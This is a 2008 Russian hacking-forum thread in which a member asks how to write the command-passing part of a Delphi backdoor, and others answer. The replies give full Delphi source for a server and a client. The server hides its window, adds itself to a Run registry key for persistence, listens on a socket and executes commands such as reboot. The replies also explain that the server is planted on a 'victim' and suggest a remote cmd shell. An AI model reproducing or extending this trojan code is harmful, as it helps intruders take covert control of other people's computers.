Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |

03.11.2008, 13:36
|
|
Участник форума
Регистрация: 27.03.2008
Сообщений: 288
Провел на форуме: 800727
Репутация:
83
|
|
Бекдор. Передача команд
Привет всем!
Подскажите пожалуйста как средством UDP/TCP/Sockets... на делфи (7) написать бекдор, а точнее часть, передающую команды.
К примеру:
Client: reboot
Server получает и идёт выполнение команды
ExitWindowsEx(EWX_REBOOT,0);
Подскажите как?
|
|
|

03.11.2008, 13:41
|
|
Banned
Регистрация: 06.01.2008
Сообщений: 904
Провел на форуме: 4037638
Репутация:
1821
|
|
Часть передающая команды, обычно называется клиентом, в просторах интернета показано не мало примеров по написание троянов, что именно тебе непонятно?
|
|
|

03.11.2008, 13:45
|
|
Участник форума
Регистрация: 27.03.2008
Сообщений: 288
Провел на форуме: 800727
Репутация:
83
|
|
мне непонятен именно сам механизм анализа переданной команды сервером
|
|
|

03.11.2008, 18:07
|
|
Постоянный
Регистрация: 05.05.2006
Сообщений: 743
Провел на форуме: 2982851
Репутация:
107
|
|
Сообщение от ronald
мне непонятен именно сам механизм анализа переданной команды сервером
А чего тут не понятного?Тут подумать и все станет понятно
Или писать обертку для выполнения апи ф-ций через сокеты.Или запустить cmd с перенаправлением ввода\вывода через сокеты.
|
|
|

03.11.2008, 21:30
|
|
Новичок
Регистрация: 03.05.2008
Сообщений: 19
Провел на форуме: 172889
Репутация:
1
|
|
Если я правильно понял то тебе нада написать сервер и клиент для его управления. Сервер должен открыть порт:
Код:
TcpServer1.LocalPort := '1111'; //указываеш какой порт нада октрыть
Код:
TcpServer1.Active := True; // открывается порт
Потом идёт обработка команды
Код:
u:=false; //переменной U присваеваем ложь
begin
repeat
sleep(1000);
if TcpServer1.ReceiveLn = 'X' then // если получили команду "X", то выпольняеш нужную тебе команду или процедуру
until U;
end;
Теперь кодиш клиент:
Код:
TcpClient1.RemoteHost := Edit1.Text; // ip сервера
TcpClient1.RemotePort := '1111'; // порт такой же как у сервера
TcpClient1.Active := True;
Ну а что бы послать команды используй:
Код:
TcpClient1.Sendln(Edit2.Text); // здесь должна быть команда, то есть как я писал - Х
Но здесь мождна обойтись и без Edit2.Text а просто кнопкой
Надеюсь написал то что ты хотел :-)
|
|
|

07.11.2008, 01:00
|
|
Новичок
Регистрация: 15.03.2007
Сообщений: 20
Провел на форуме: 133734
Репутация:
19
|
|
Полные исходники:
Нужно Form1 убрать из Avto Create
Сервер
Код:
program Intersec;
uses
Forms,
Windows,
Unit1 in 'Unit1.pas' {Form1};
{$R *.res}
var
WhEvent : THandle;
begin
Application.Initialize;
ShowWindow(Application.Handle,SW_HIDE);
Form1:=TForm1.Create(nil);
Application.Run;
WhEvent:=CreateEvent(nil, true, false, 'et');
while (true) do begin
WaitForSingleObject(WhEvent, 1000);
Application.ProcessMessages;
end;
end.
Код:
unit Unit1;
interface
uses
Windows, Messages, registry, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp;
type
TForm1 = class(TForm)
ServerSocket1: TServerSocket;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.FormCreate(Sender: TObject);
var
RegIni : TRegIniFile;
begin
RegIni:=TRegIniFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);
RegIni.WriteString('RunServices', 'Intersec.exe', 'Application.ExeName');
RegIni.Free;
ServerSocket1.Active:=true;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
ServerSocket1.Active:=False;
end;
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
s: String;
begin
s:= Socket.ReceiveText;
if s='Reboot' then
ExitWindowsEx(EWX_SHUTDOWN, 0); // или ExitWindowsEx(EWX_FORCE, 0); для мгновенного выключения компа
end;
end.
Клинет:
Код:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp, StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Edit1: TEdit;
ClientSocket1: TClientSocket;
Label1: TLabel;
Edit2: TEdit;
Label2: TLabel;
procedure Button1Click(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
begin
ClientSocket1.Address:=Edit1.Text;
ClientSocket1.Active:=True;
ClientSocket1.Socket.SendText(Edit2.Text);
ClientSocket1.Active:=False;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
if ClientSocket1.Active then
ClientSocket1.Active:=False;
end;
end.
Так же можно скачать размер 384.93 KB
В архиве exe`шники так что может сработать антивирус.
Мой NOD32 v3 молчал.
|
|
|

07.11.2008, 04:48
|
|
Постоянный
Регистрация: 09.11.2006
Сообщений: 639
Провел на форуме: 1917742
Репутация:
541
|
|
в примерах от борланда вроде была работа с сокетами на станд.компонентах ....
|
|
|

07.11.2008, 10:19
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме: 3288241
Репутация:
3349
|
|
o_O делфи + vcl =бекдор
Читай Delphi World aka 5005 статей по делфи. Там хорошо описана работа с сокетами через winsock. И размер будет меньше и работать будет шустрее.
А на счет того как отправлять команды, то если не юзать всё в стиле терминала, то использую чтото типа пакетного режима. а именно
типа такой пакет строй:CMD_ID_1#CMD_ID_2#
другими словами - посылаешь коды команды разделенные какминить не цифровым символом типа #
А в проге разбиваешь на составляющие части, далее strtoint а затем уже через case выбираешь нужное действие и после выполнения действия можно сделать ответный пакет типа CMD_ID#REPLY_CODE#REPLY
т.е. ID команды которую выполнил. Ошибка или удачно и результат выполнения, если он конечно предусматривается, типа если вернуть список процессов )
Но всёже достаточно будет сделать обычный шелл. И уже не нужно будет клиентсткое приложение. Для примера можешь глянуть шел с паролем вот тут http://forum.antichat.ru/showthread.php?p=892048#post892048
|
|
|

07.11.2008, 10:47
|
|
Участник форума
Регистрация: 06.10.2006
Сообщений: 226
Провел на форуме: 3025546
Репутация:
1327
|
|
Сообщение от ronald
мне непонятен именно сам механизм анализа переданной команды сервером
Тут все очень просто. Описывю в двух словах:
У тебя на компе остается Клиент, а сервер ты забрасывешь жертве. Сервер должен открыть порт и ждать подключения от клиента. После того как Клиент проконектиться к серверу у тебя появляеться возможность передавть команды. Команды, это просто строка текста, которая отправляется с клиента на сервер. На сервере она обрабатывается и через условие проверяется. Т.е весь код на отключение, открытие сидюка и прочее храниться на сервере а клиент только отпрвляет команды. Вот общий пример:
Сервер - открываем порт и ждем подключения
Кслиент- конектимся на порт
Клиент - отправляем строку текста "open" на сервер
Сервер - проверемя через условие(если получена команда "open" тогда открываем сидиром)
и т.д пока не будет получена команда на дисконект
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|